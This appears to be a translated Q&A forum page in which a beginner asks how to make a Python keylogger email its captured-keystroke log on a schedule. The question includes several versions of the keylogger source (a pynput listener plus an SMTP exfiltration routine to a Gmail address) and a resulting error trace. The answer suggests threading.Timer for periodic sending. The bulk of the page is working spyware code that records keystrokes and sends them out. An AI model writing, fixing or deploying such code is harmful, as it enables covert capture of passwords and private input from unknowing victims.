使Python脚本每小时都能做某事

时间:2018-09-29 12:15:48

标签: python time

对于一个项目,我正在使用python键盘记录程序。我已经完成了密钥日志记录模块和电子邮件模块,该模块将日志文件发送回给我,但是在将它们合并在一起时遇到了麻烦。我希望键盘记录程序每24小时向我发送一封电子邮件,其中包括日志文件。我该怎么办?

我尝试使用一个简单的time.sleep()延迟,但是由于击键记录模块仅在我将其杀死为进程时才停止,因此它从未达到延迟,因为它可以说是“无限的”。

这是我当前的代码:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard

#Keylogging Module
def on_press(key):
    file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

#Email module
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'


msg = MIMEMultipart()
msg['From'] = email_user
msg['To']   = email_send
msg['Subject'] = subject

body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))

filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment  =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")

server.sendmail(email_user,email_send,text)
server.quit()

请非常简单地解释答案,因为我是绝对的初学者。

编辑:这是新代码,很不幸,该代码无法正常工作。

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading


def on_press(key):
    file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

def sendlog():
    threading.Timer(10.0, sendlog).start()
    email_user = 'miku.rebane@gmail.com'
    email_send = 'miku.rebane@gmail.com'
    subject = 'KeyLog'
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To']   = email_send
    msg['Subject'] = subject
    body = 'Log File Attached'
    msg.attach(MIMEText (body, 'plain'))
    filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
    attachment  =open(filename,'rb')
    part = MIMEBase('application','octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',"attachment; filename= "+filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com',587)
    server.starttls()
    server.login(email_user,"mypassword")
    server.sendmail(email_user,email_send,text)
    server.quit()


sendlog()

编辑3:重新组织代码,可以正常工作,但是发送的日志不完整。

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading

file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')

 def sendlog():
    threading.Timer(10.0, sendlog).start()
    email_user = 'miku.rebane@gmail.com'
    email_send = 'miku.rebane@gmail.com'
    subject = 'KeyLog'
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To']   = email_send
    msg['Subject'] = subject
    body = 'Log File Attached'
    msg.attach(MIMEText (body, 'plain'))
    filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
    attachment  =open(filename,'rb')
    part = MIMEBase('application','octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',"attachment; filename= "+filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com',587)
    server.starttls()
    server.login(email_user,"password")
    server.sendmail(email_user,email_send,text)
    server.quit()


sendlog()  


#Keylogging Module
def on_press(key):
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

编辑4:使用代码形式“编辑3”时会出现此错误。

Traceback (most recent call last):
  File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in <module>
    Listener.join()
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join
    six.reraise(exc_type, exc_value, exc_traceback)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise
    raise value.with_traceback(tb)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner
    return f(self, *args, **kwargs)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process
    self.on_press(key)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner
    if f(*args) is False:
  File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press
    file.write(str(key))
ValueError: I/O operation on closed file.

1 个答案:

答案 0 :(得分:2)

根据此答案:https://stackoverflow.com/a/3393759/1910863

您可以使用threading timer。这是链接的答案中的代码片段:

import threading

def printit():
    threading.Timer(5.0, printit).start()
    print "Hello, World!"

printit() 

您将在脚本开始时调用(或计划)您的方法,并且每次触发时它将重新计划自身。

如果您喜欢此答案,则应该对链接的答案进行投票,因为他是值得称赞的答案。